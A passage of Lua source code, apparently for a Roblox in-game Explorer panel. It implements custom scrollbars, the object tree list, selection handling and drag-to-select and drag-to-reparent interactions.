		IconFrame.IconMap.Position = UDim2.new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0)
		return IconFrame
	end
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- ScrollBar
do
	-- AutoButtonColor doesn&apos;t always reset properly
	local function ResetButtonColor(button)
		local active = button.Active
		button.Active = not active
		button.Active = active
	end

	local function ArrowGraphic(size,dir,scaled,template)
		local Frame = Create(&apos;Frame&apos;,{
			Name = &quot;Arrow Graphic&quot;;
			BorderSizePixel = 0;
			Size = UDim2.new(0,size,0,size);
			Transparency = 1;
		})
		if not template then
			template = Instance.new(&quot;Frame&quot;)
			template.BorderSizePixel = 0
		end

		local transform
		if dir == nil or dir == &apos;Up&apos; then
			function transform(p,s) return p,s end
		elseif dir == &apos;Down&apos; then
			function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
		elseif dir == &apos;Left&apos; then
			function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
		elseif dir == &apos;Right&apos; then
			function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
		end

		local scale
		if scaled then
			function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end
		else
			function scale(p,s) return p,s end
		end

		local o = math.floor(size/4)
		if size%2 == 0 then
			local n = size/2-1
			for i = 0,n do
				local t = template:Clone()
				local p,s = scale(transform(
					UDim2.new(0,n-i,0,o+i),
					UDim2.new(0,(i+1)*2,0,1)
				))
				t.Position = p
				t.Size = s
				t.Parent = Frame
			end
		else
			local n = (size-1)/2
			for i = 0,n do
				local t = template:Clone()
				local p,s = scale(transform(
					UDim2.new(0,n-i,0,o+i),
					UDim2.new(0,i*2+1,0,1)
				))
				t.Position = p
				t.Size = s
				t.Parent = Frame
			end
		end
		if size%4 &gt; 1 then
			local t = template:Clone()
			local p,s = scale(transform(
				UDim2.new(0,0,0,size-o-1),
				UDim2.new(0,size,0,1)
			))
			t.Position = p
			t.Size = s
			t.Parent = Frame
		end
		return Frame
	end


	local function GripGraphic(size,dir,spacing,scaled,template)
		local Frame = Create(&apos;Frame&apos;,{
			Name = &quot;Grip Graphic&quot;;
			BorderSizePixel = 0;
			Size = UDim2.new(0,size.x,0,size.y);
			Transparency = 1;
		})
		if not template then
			template = Instance.new(&quot;Frame&quot;)
			template.BorderSizePixel = 0
		end

		spacing = spacing or 2

		local scale
		if scaled then
			function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
		else
			function scale(p) return p end
		end

		if dir == &apos;Vertical&apos; then
			for i=0,size.x-1,spacing do
				local t = template:Clone()
				t.Size = scale(UDim2.new(0,1,0,size.y))
				t.Position = scale(UDim2.new(0,i,0,0))
				t.Parent = Frame
			end
		elseif dir == nil or dir == &apos;Horizontal&apos; then
			for i=0,size.y-1,spacing do
				local t = template:Clone()
				t.Size = scale(UDim2.new(0,size.x,0,1))
				t.Position = scale(UDim2.new(0,0,0,i))
				t.Parent = Frame
			end
		end

		return Frame
	end

	local mt = {
		__index = {
			GetScrollPercent = function(self)
				return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
			end;
			CanScrollDown = function(self)
				return self.ScrollIndex + self.VisibleSpace &lt; self.TotalSpace
			end;
			CanScrollUp = function(self)
				return self.ScrollIndex &gt; 0
			end;
			ScrollDown = function(self)
				self.ScrollIndex = self.ScrollIndex + self.PageIncrement
				self:Update()
			end;
			ScrollUp = function(self)
				self.ScrollIndex = self.ScrollIndex - self.PageIncrement
				self:Update()
			end;
			ScrollTo = function(self,index)
				self.ScrollIndex = index
				self:Update()
			end;
			SetScrollPercent = function(self,percent)
				self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
				self:Update()
			end;
		};
	}
	mt.__index.CanScrollRight = mt.__index.CanScrollDown
	mt.__index.CanScrollLeft = mt.__index.CanScrollUp
	mt.__index.ScrollLeft = mt.__index.ScrollUp
	mt.__index.ScrollRight = mt.__index.ScrollDown

	function ScrollBar(horizontal)
		-- create row scroll bar
		local ScrollFrame = Create(&apos;Frame&apos;,{
			Name = &quot;ScrollFrame&quot;;
			Position = horizontal and UDim2.new(0,0,1,-GUI_SIZE) or UDim2.new(1,-GUI_SIZE,0,0);
			Size = horizontal and UDim2.new(1,0,0,GUI_SIZE) or UDim2.new(0,GUI_SIZE,1,0);
			BackgroundTransparency = 1;
			Create(&apos;ImageButton&apos;,{
				Name = &quot;ScrollDown&quot;;
				Position = horizontal and UDim2.new(1,-GUI_SIZE,0,0) or UDim2.new(0,0,1,-GUI_SIZE);
				Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
				BackgroundColor3 = GuiColor.Button;
				BorderColor3 = GuiColor.Border;
				--BorderSizePixel = 0;
			});
			Create(&apos;ImageButton&apos;,{
				Name = &quot;ScrollUp&quot;;
				Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
				BackgroundColor3 = GuiColor.Button;
				BorderColor3 = GuiColor.Border;
				--BorderSizePixel = 0;
			});
			Create(&apos;ImageButton&apos;,{
				Name = &quot;ScrollBar&quot;;
				Size = horizontal and UDim2.new(1,-GUI_SIZE*2,1,0) or UDim2.new(1,0,1,-GUI_SIZE*2);
				Position = horizontal and UDim2.new(0,GUI_SIZE,0,0) or UDim2.new(0,0,0,GUI_SIZE);
				AutoButtonColor = false;
				BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902);
				BorderColor3 = GuiColor.Border;
				--BorderSizePixel = 0;
				Create(&apos;ImageButton&apos;,{
					Name = &quot;ScrollThumb&quot;;
					AutoButtonColor = false;
					Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
					BackgroundColor3 = GuiColor.Button;
					BorderColor3 = GuiColor.Border;
					--BorderSizePixel = 0;
				});
			});
		})

		local graphicTemplate = Create(&apos;Frame&apos;,{
			Name=&quot;Graphic&quot;;
			BorderSizePixel = 0;
			BackgroundColor3 = GuiColor.Border;
		})
		local graphicSize = GUI_SIZE/2

		local ScrollDownFrame = ScrollFrame.ScrollDown
			local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Right&apos; or &apos;Down&apos;,true,graphicTemplate)
			ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
			ScrollDownGraphic.Parent = ScrollDownFrame
		local ScrollUpFrame = ScrollFrame.ScrollUp
			local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Left&apos; or &apos;Up&apos;,true,graphicTemplate)
			ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
			ScrollUpGraphic.Parent = ScrollUpFrame
		local ScrollBarFrame = ScrollFrame.ScrollBar
		local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
		do
			local size = GUI_SIZE*3/8
			local Decal = GripGraphic(Vector2.new(size,size),horizontal and &apos;Vertical&apos; or &apos;Horizontal&apos;,2,graphicTemplate)
			Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2)
			Decal.Parent = ScrollThumbFrame
		end

		local Class = setmetatable({
			GUI = ScrollFrame;
			ScrollIndex = 0;
			VisibleSpace = 0;
			TotalSpace = 0;
			PageIncrement = 1;
		},mt)

		local UpdateScrollThumb
		if horizontal then
			function UpdateScrollThumb()
				ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,GUI_SIZE)
				if ScrollThumbFrame.AbsoluteSize.x &lt; GUI_SIZE then
					ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE)
				end
				local barSize = ScrollBarFrame.AbsoluteSize.x
				ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0)
			end
		else
			function UpdateScrollThumb()
				ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,Class.VisibleSpace/Class.TotalSpace,0)
				if ScrollThumbFrame.AbsoluteSize.y &lt; GUI_SIZE then
					ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE)
				end
				local barSize = ScrollBarFrame.AbsoluteSize.y
				ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0)
			end
		end

		local lastDown
		local lastUp
		local scrollStyle = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0}
		local scrollStyle_ds = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0.7}

		local function Update()
			local t = Class.TotalSpace
			local v = Class.VisibleSpace
			local s = Class.ScrollIndex
			if v &lt;= t then
				if s &gt; 0 then
					if s + v &gt; t then
						Class.ScrollIndex = t - v
					end
				else
					Class.ScrollIndex = 0
				end
			else
				Class.ScrollIndex = 0
			end

			if Class.UpdateCallback then
				if Class.UpdateCallback(Class) == false then
					return
				end
			end

			local down = Class:CanScrollDown()
			local up = Class:CanScrollUp()
			if down ~= lastDown then
				lastDown = down
				ScrollDownFrame.Active = down
				ScrollDownFrame.AutoButtonColor = down
				local children = ScrollDownGraphic:GetChildren()
				local style = down and scrollStyle or scrollStyle_ds
				for i = 1,#children do
					Create(children[i],style)
				end
			end
			if up ~= lastUp then
				lastUp = up
				ScrollUpFrame.Active = up
				ScrollUpFrame.AutoButtonColor = up
				local children = ScrollUpGraphic:GetChildren()
				local style = up and scrollStyle or scrollStyle_ds
				for i = 1,#children do
					Create(children[i],style)
				end
			end
			ScrollThumbFrame.Visible = down or up
			UpdateScrollThumb()
		end
		Class.Update = Update

		SetZIndexOnChanged(ScrollFrame)

		local MouseDrag = Create(&apos;ImageButton&apos;,{
			Name = &quot;MouseDrag&quot;;
			Position = UDim2.new(-0.25,0,-0.25,0);
			Size = UDim2.new(1.5,0,1.5,0);
			Transparency = 1;
			AutoButtonColor = false;
			Active = true;
			ZIndex = 10;
		})

		local scrollEventID = 0
		ScrollDownFrame.MouseButton1Down:connect(function()
			scrollEventID = tick()
			local current = scrollEventID
			local up_con
			up_con = MouseDrag.MouseButton1Up:connect(function()
				scrollEventID = tick()
				MouseDrag.Parent = nil
				ResetButtonColor(ScrollDownFrame)
				up_con:disconnect(); drag = nil
			end)
			MouseDrag.Parent = GetScreen(ScrollFrame)
			Class:ScrollDown()
			wait(0.2) -- delay before auto scroll
			while scrollEventID == current do
				Class:ScrollDown()
				if not Class:CanScrollDown() then break end
				wait()
			end
		end)

		ScrollDownFrame.MouseButton1Up:connect(function()
			scrollEventID = tick()
		end)

		ScrollUpFrame.MouseButton1Down:connect(function()
			scrollEventID = tick()
			local current = scrollEventID
			local up_con
			up_con = MouseDrag.MouseButton1Up:connect(function()
				scrollEventID = tick()
				MouseDrag.Parent = nil
				ResetButtonColor(ScrollUpFrame)
				up_con:disconnect(); drag = nil
			end)
			MouseDrag.Parent = GetScreen(ScrollFrame)
			Class:ScrollUp()
			wait(0.2)
			while scrollEventID == current do
				Class:ScrollUp()
				if not Class:CanScrollUp() then break end
				wait()
			end
		end)

		ScrollUpFrame.MouseButton1Up:connect(function()
			scrollEventID = tick()
		end)

		if horizontal then
			ScrollBarFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local current = scrollEventID
				local up_con
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollUpFrame)
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
				if x &gt; ScrollThumbFrame.AbsolutePosition.x then
					Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if x &lt; ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end
						Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
						wait()
					end
				else
					Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if x &gt; ScrollThumbFrame.AbsolutePosition.x then break end
						Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
						wait()
					end
				end
			end)
		else
			ScrollBarFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local current = scrollEventID
				local up_con
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollUpFrame)
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
				if y &gt; ScrollThumbFrame.AbsolutePosition.y then
					Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if y &lt; ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end
						Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
						wait()
					end
				else
					Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if y &gt; ScrollThumbFrame.AbsolutePosition.y then break end
						Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
						wait()
					end
				end
			end)
		end

		if horizontal then
			ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x
				local drag_con
				local up_con
				drag_con = MouseDrag.MouseMoved:connect(function(x,y)
					local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x
					local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x
					local bar_abs_one = bar_abs_pos + bar_drag
					x = x - mouse_offset
					x = x &lt; bar_abs_pos and bar_abs_pos or x &gt; bar_abs_one and bar_abs_one or x
					x = x - bar_abs_pos
					Class:SetScrollPercent(x/(bar_drag))
				end)
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollThumbFrame)
					drag_con:disconnect(); drag_con = nil
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
			end)
		else
			ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y
				local drag_con
				local up_con
				drag_con = MouseDrag.MouseMoved:connect(function(x,y)
					local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y
					local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y
					local bar_abs_one = bar_abs_pos + bar_drag
					y = y - mouse_offset
					y = y &lt; bar_abs_pos and bar_abs_pos or y &gt; bar_abs_one and bar_abs_one or y
					y = y - bar_abs_pos
					Class:SetScrollPercent(y/(bar_drag))
				end)
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollThumbFrame)
					drag_con:disconnect(); drag_con = nil
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
			end)
		end

		function Class:Destroy()
			ScrollFrame:Destroy()
			MouseDrag:Destroy()
			for k in pairs(Class) do
				Class[k] = nil
			end
			setmetatable(Class,nil)
		end

		Update()

		return Class
	end
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Explorer panel

local explorerPanel = script.Parent
Create(explorerPanel,{
	BackgroundColor3 = GuiColor.Field;
	BorderColor3 = GuiColor.Border;
	Active = true;
})

local listFrame = Create(&apos;Frame&apos;,{
	Name = &quot;List&quot;;
	BackgroundTransparency = 1;
	ClipsDescendants = true;
	Position = UDim2.new(0,0,0,HEADER_SIZE);
	Size = UDim2.new(1,-GUI_SIZE,1,-HEADER_SIZE);
	Parent = explorerPanel;
})

local scrollBar = ScrollBar(false)
scrollBar.PageIncrement = 1
Create(scrollBar.GUI,{
	Position = UDim2.new(1,-GUI_SIZE,0,HEADER_SIZE);
	Size = UDim2.new(0,GUI_SIZE,1,-HEADER_SIZE);
	Parent = explorerPanel;
})

local scrollBarH = ScrollBar(true)
scrollBarH.PageIncrement = GUI_SIZE
Create(scrollBarH.GUI,{
	Position = UDim2.new(0,0,1,-GUI_SIZE);
	Size = UDim2.new(1,-GUI_SIZE,0,GUI_SIZE);
	Visible = false;
	Parent = explorerPanel;
})

local headerFrame = Create(&apos;Frame&apos;,{
	Name = &quot;Header&quot;;
	BackgroundColor3 = GuiColor.Background;
	BorderColor3 = GuiColor.Border;
	Position = UDim2.new(0,0,0,0);
	Size = UDim2.new(1,0,0,HEADER_SIZE);
	Parent = explorerPanel;
	Create(&apos;TextLabel&apos;,{
		Text = &quot;Explorer&quot;;
		BackgroundTransparency = 1;
		TextColor3 = GuiColor.Text;
		TextXAlignment = &apos;Left&apos;;
		Font = FONT;
		FontSize = FONT_SIZE;
		Position = UDim2.new(0,4,0,0);
		Size = UDim2.new(1,-4,1,0);
	});
})

SetZIndexOnChanged(explorerPanel)

local getTextWidth do
	local text = Create(&apos;TextLabel&apos;,{
		Name = &quot;TextWidth&quot;;
		TextXAlignment = &apos;Left&apos;;
		TextYAlignment = &apos;Center&apos;;
		Font = FONT;
		FontSize = FONT_SIZE;
		Text = &quot;&quot;;
		Position = UDim2.new(0,0,0,0);
		Size = UDim2.new(1,0,1,0);
		Visible = false;
		Parent = explorerPanel;
	})
	function getTextWidth(s)
		text.Text = s
		return text.TextBounds.x
	end
end

-- Holds the game tree converted to a list.
local TreeList = {}
-- Matches objects to their tree node representation.
local NodeLookup = {}

local nodeWidth = 0

local updateList,rawUpdateList,updateScroll,rawUpdateSize do
	local function r(t)
		for i = 1,#t do
			TreeList[#TreeList+1] = t[i]

			local w = (t[i].Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(t[i].Object.Name) + 4
			if w &gt; nodeWidth then
				nodeWidth = w
			end
			if t[i].Expanded then
				r(t[i])
			end
		end
	end

	function rawUpdateSize()
		scrollBarH.TotalSpace = nodeWidth
		scrollBarH.VisibleSpace = listFrame.AbsoluteSize.x
		scrollBarH:Update()
		local visible = scrollBarH:CanScrollDown() or scrollBarH:CanScrollUp()
		scrollBarH.GUI.Visible = visible

		listFrame.Size = UDim2.new(1,-GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)

		scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
		scrollBar.GUI.Size = UDim2.new(0,GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)

		scrollBar.TotalSpace = #TreeList+1
		scrollBar:Update()
	end

	function rawUpdateList()
		-- Clear then repopulate the entire list. It appears to be fast enough.
		TreeList = {}
		nodeWidth = 0
		r(NodeLookup[Game])
		rawUpdateSize()
	end

	-- Adding or removing large models will cause many updates to occur. We
	-- can reduce the number of updates by creating a delay, then dropping any
	-- updates that occur during the delay.
	local updatingList = false
	function updateList()
		if updatingList then return end
		updatingList = true
		wait(0.25)
		updatingList = false
		rawUpdateList()
	end

	local updatingScroll = false
	function updateScroll()
		if updatingScroll then return end
		updatingScroll = true
		wait(0.25)
		updatingScroll = false
		scrollBar:Update()
	end
end

local Selection do
	local bindGetSelection = script.Parent:FindFirstChild(&quot;GetSelection&quot;)
	if not bindGetSelection then
		bindGetSelection = Create(&apos;BindableFunction&apos;,{Name = &quot;GetSelection&quot;})
		bindGetSelection.Parent = script.Parent
	end

	local bindSetSelection = script.Parent:FindFirstChild(&quot;SetSelection&quot;)
	if not bindSetSelection then
		bindSetSelection = Create(&apos;BindableFunction&apos;,{Name = &quot;SetSelection&quot;})
		bindSetSelection.Parent = script.Parent
	end

	local bindSelectionChanged = script.Parent:FindFirstChild(&quot;SelectionChanged&quot;)
	if not bindSelectionChanged then
		bindSelectionChanged = Create(&apos;BindableEvent&apos;,{Name = &quot;SelectionChanged&quot;})
		bindSelectionChanged.Parent = script.Parent
	end

	local SelectionList = {}
	local SelectionSet = {}
	Selection = {
		Selected = SelectionSet;
		List = SelectionList;
	}

	local function addObject(object)
		-- list update
		local lupdate = false
		-- scroll update
		local supdate = false

		if not SelectionSet[object] then
			local node = NodeLookup[object]
			if node then
				table.insert(SelectionList,object)
				SelectionSet[object] = true
				node.Selected = true

				-- expand all ancestors so that selected node becomes visible
				node = node.Parent
				while node do
					if not node.Expanded then
						node.Expanded = true
						lupdate = true
					end
					node = node.Parent
				end
				supdate = true
			end
		end
		return lupdate,supdate
	end

	function Selection:Set(objects)
		local lupdate = false
		local supdate = false

		if #SelectionList &gt; 0 then
			for i = 1,#SelectionList do
				local object = SelectionList[i]
				local node = NodeLookup[object]
				if node then
					node.Selected = false
					SelectionSet[object] = nil
				end
			end

			SelectionList = {}
			Selection.List = SelectionList
			supdate = true
		end

		for i = 1,#objects do
			local l,s = addObject(objects[i])
			lupdate = l or lupdate
			supdate = s or supdate
		end

		if lupdate then
			rawUpdateList()
			supdate = true
		elseif supdate then
			scrollBar:Update()
		end

		if supdate then
			bindSelectionChanged:Fire()
		end
	end

	function Selection:Add(object)
		local l,s = addObject(object)
		if l then
			rawUpdateList()
			bindSelectionChanged:Fire()
		elseif s then
			scrollBar:Update()
			bindSelectionChanged:Fire()
		end
	end

	function Selection:Remove(object,noupdate)
		if SelectionSet[object] then
			local node = NodeLookup[object]
			if node then
				node.Selected = false
				SelectionSet[object] = nil
				for i = 1,#SelectionList do
					if SelectionList[i] == object then
						table.remove(SelectionList,i)
						break
					end
				end

				if not noupdate then
					scrollBar:Update()
				end
				bindSelectionChanged:Fire()
			end
		end
	end

	function Selection:Get()
		local list = {}
		for i = 1,#SelectionList do
			list[i] = SelectionList[i]
		end
		return list
	end

	bindSetSelection.OnInvoke = function(...)
		Selection:Set(...)
	end

	bindGetSelection.OnInvoke = function()
		return Selection:Get()
	end
end

local function cancelReparentDrag()end
local function cancelSelectDrag()end
do
	local listEntries = {}
	local nameConnLookup = {}

	local mouseDrag = Create(&apos;ImageButton&apos;,{
		Name = &quot;MouseDrag&quot;;
		Position = UDim2.new(-0.25,0,-0.25,0);
		Size = UDim2.new(1.5,0,1.5,0);
		Transparency = 1;
		AutoButtonColor = false;
		Active = true;
		ZIndex = 10;
	})
	local function dragSelect(last,add,button)
		local connDrag
		local conUp

		conDrag = mouseDrag.MouseMoved:connect(function(x,y)
			local pos = Vector2.new(x,y) - listFrame.AbsolutePosition
			local size = listFrame.AbsoluteSize
			if pos.x &lt; 0 or pos.x &gt; size.x or pos.y &lt; 0 or pos.y &gt; size.y then return end

			local i = math.ceil(pos.y/ENTRY_BOUND) + scrollBar.ScrollIndex
			-- Mouse may have made a large step, so interpolate between the
			-- last index and the current.
			for n = i&lt;last and i or last, i&gt;last and i or last do
				local node = TreeList[n]
				if node then
					if add then
						Selection:Add(node.Object)
					else
						Selection:Remove(node.Object)
					end
				end
			end
			last = i
		end)

		function cancelSelectDrag()
			mouseDrag.Parent = nil
			conDrag:disconnect()
			conUp:disconnect()
			function cancelSelectDrag()end
		end

		conUp = mouseDrag[button]:connect(cancelSelectDrag)

		mouseDrag.Parent = GetScreen(listFrame)
	end

	local function dragReparent(object,dragGhost,clickPos,ghostOffset)
		local connDrag
		local conUp
		local conUp2

		local parentIndex = nil
		local dragged = false

		local parentHighlight = Create(&apos;Frame&apos;,{
			Transparency = 1;
			Visible = false;
			Create(&apos;Frame&apos;,{
				BorderSizePixel = 0;
				BackgroundColor3 = Color3.new(0,0,0);
				BackgroundTransparency = 0.1;
				Position = UDim2.new(0,0,0,0);
				Size = UDim2.new(1,0,0,1);
			});
			Create(&apos;Frame&apos;,{
				BorderSizePixel = 0;
				BackgroundColor3 = Color3.new(0,0,0);
				BackgroundTransparency = 0.1;
				Position = UDim2.new(1,0,0,0);
				Size = UDim2.new(0,1,1,0);
			});
			Create(&apos;Frame&apos;,{
				BorderSizePixel = 0;
				BackgroundColor3 = Color3.new(0,0,0);
				BackgroundTransparency = 0.1;
				Position = UDim2.new(0,0,1,0);
				Size = UDim2.new(1,0,0,1);
			});
			Create(&apos;Frame&apos;,{
				BorderSizePixel = 0;
				BackgroundColor3 = Color3.new(0,0,0);
				BackgroundTransparency = 0.1;
				Position = UDim2.new(0,0,0,0);
				Size = UDim2.new(0,1,1,0);
			});
		})
		SetZIndex(parentHighlight,9)

		conDrag = mouseDrag.MouseMoved:connect(function(x,y)
			local dragPos = Vector2.new(x,y)
			if dragged then
				local pos = dragPos - listFrame.AbsolutePosition
				local size = listFrame.AbsoluteSize

				parentIndex = nil
				parentHighlight.Visible = false
				if pos.x &gt;= 0 and pos.x &lt;= size.x and pos.y &gt;= 0 and pos.y &lt;= size.y then
					local i = math.ceil(pos.y/ENTRY_BOUND)
					local node = TreeList[i + scrollBar.ScrollIndex]
					if node and node.Object ~= object and not object:IsAncestorOf(node.Object) then
						parentIndex = i
						local entry = listEntries[i]
						if entry then
							parentHighlight.Visible = true
							parentHighlight.Position = UDim2.new(0,1,0,entry.AbsolutePosition.y-listFrame.AbsolutePosition.y)
							parentHighlight.Size = UDim2.new(0,size.x-4,0,entry.AbsoluteSize.y)
						end
					end
				end

				dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
			elseif (clickPos-dragPos).magnitude &gt; 8 then
				dragged = true
				SetZIndex(dragGhost,9)
				dragGhost.IndentFrame.Transparency = 0.25
				dragGhost.IndentFrame.EntryText.TextColor3 = GuiColor.TextSelected
				dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
				dragGhost.Parent = GetScreen(listFrame)
				parentHighlight.Parent = listFrame
			end
		end)

		function cancelReparentDrag()
			mouseDrag.Parent = nil
			conDrag:disconnect()
			conUp:disconnect()
			conUp2:disconnect()
			dragGhost:Destroy()
			parentHighlight:Destroy()
			function cancelReparentDrag()end
		end

		local wasSelected = Selection.Selected[object]
		if not wasSelected and Option.Selectable then
			Selection:Set({object})
		end

		conUp = mouseDrag.MouseButton1Up:connect(function()
			cancelReparentDrag()
			if dragged then
				if parentIndex then
					local parentNode = TreeList[parentIndex + scrollBar.ScrollIndex]
					if parentNode then
						parentNode.Expanded = true

						local parentObj = parentNode.Object
						local function parent(a,b)
							a.Parent = b
						end
						if Option.Selectable then
							local list = Selection.List
							for i = 1,#list do
								pcall(parent,list[i],parentObj)
							end
						else
							pcall(parent,object,parentObj)
						end
					end
				end
			else
				-- do selection click
				if wasSelected and Option.Selectable then
					Selection:Set({})
				end
			end
		end)
		conUp2 = mouseDrag.MouseButton2Down:connect(function()
			cancelReparentDrag()
		end)

		mouseDrag.Parent = GetScreen(listFrame)
	end

	local entryTemplate = Create(&apos;ImageButton&apos;,{
		Name = &quot;Entry&quot;;
		Transparency = 1;
		AutoButtonColor = false;
		Position = UDim2.new(0,0,0,0);
		Size = UDim2.new(1,0,0,ENTRY_SIZE);
		Create(&apos;Frame&apos;,{
			Name = &quot;IndentFrame&quot;;
			BackgroundTransparency = 1;
			BackgroundColor3 = GuiColor.Selected;
			BorderColor3 = GuiColor.BorderSelected;
			Position = UDim2.new(0,0,0,0);
			Size = UDim2.new(1,0,1,0);
			Create(Icon(&apos;ImageButton&apos;,0),{
				Name = &quot;Expand&quot;;
				AutoButtonColor = false;
				Position = UDim2.new(0,-GUI_SIZE,0.5,-GUI_SIZE/2);
				Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
			});
			Create(Icon(nil,0),{
				Name = &quot;ExplorerIcon&quot;;
				Position = UDim2.new(0,2+ENTRY_PADDING,0.5,-GUI_SIZE/2);
				Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
			});
			Create(&apos;TextLabel&apos;,{
				Name = &quot;EntryText&quot;;
				BackgroundTransparency = 1;
				TextColor3 = GuiColor.Text;
				TextXAlignment = &apos;Left&apos;;
				TextYAlignment = &apos;Center&apos;;
				Font = FONT;
				FontSize = FONT_SIZE;
				Text = &quot;&quot;;
				Position = UDim2.new(0,2+ENTRY_SIZE+4,0,0);
				Size = UDim2.new(1,-2,1,0);
			});
		});
	})

	function scrollBar.UpdateCallback(self)
		for i = 1,self.VisibleSpace do
			local node = TreeList[i + self.ScrollIndex]
			if node then
				local entry = listEntries[i]
				if not entry then
					entry = Create(entryTemplate:Clone(),{
						Position = UDim2.new(0,2,0,ENTRY_BOUND*(i-1)+2);
						Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE);
						ZIndex = listFrame.ZIndex;
					})
					listEntries[i] = entry

					local expand = entry.IndentFrame.Expand
					expand.MouseEnter:connect(function()
						local node = TreeList[i + self.ScrollIndex]
						if #node &gt; 0 then
							if node.Expanded then
								Icon(expand,NODE_EXPANDED_OVER)
							else
								Icon(expand,NODE_COLLAPSED_OVER)
							end
						end
					end)
					expand.MouseLeave:connect(function()
						local node = TreeList[i + self.ScrollIndex]
						if #node &gt; 0 then
							if node.Expanded then
								Icon(expand,NODE_EXPANDED)
							else
								Icon(expand,NODE_COLLAPSED)
							end
						end
					end)
					expand.MouseButton1Down:connect(function()
						local node = TreeList[i + self.ScrollIndex]
						if #node &gt; 0 then
							node.Expanded = not node.Expanded
							-- use raw update so the list updates instantly
							rawUpdateList()
						end
					end)

					entry.MouseButton1Down:connect(function(x,y)
						local node = TreeList[i + self.ScrollIndex]
						if Option.Modifiable then
							local pos = Vector2.new(x,y)
